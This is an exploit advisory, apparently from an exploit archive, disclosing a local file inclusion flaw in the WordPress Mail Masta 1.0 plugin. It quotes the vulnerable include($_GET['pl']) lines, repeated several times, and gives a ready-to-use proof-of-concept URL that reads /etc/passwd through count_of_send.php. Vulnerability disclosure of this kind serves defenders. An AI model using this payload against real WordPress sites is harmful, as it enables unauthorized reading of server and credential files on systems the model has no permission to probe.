exploit the possibilities

WordPress Mail Master 1.0 Local File Inclusion

WordPress Mail Master 1.0 Local File Inclusion
Posted Aug 23, 2016
Authored by Guillermo Garcia Marcos

WordPress Mail Masta plugin version 1.0 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
MD5 | 47d283cda8732fc34eb155c60aafeeb7

WordPress Mail Master 1.0 Local File Inclusion

Change Mirror Download
[+] Date: [23-8-2016]
[+] Autor Guillermo Garcia Marcos
[+] Vendor: https://downloads.wordpress.org/plugin/mail-masta.zip
[+] Title: Mail Masta WP Local File Inclusion
[+] info: Local File Inclusion

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php:
Line 5: include($_GET['pl']);

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php
Line 5: include($_GET['pl']);

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);


This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.


Typical proof-of-concept would be to load passwd file:


http://megacorp/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

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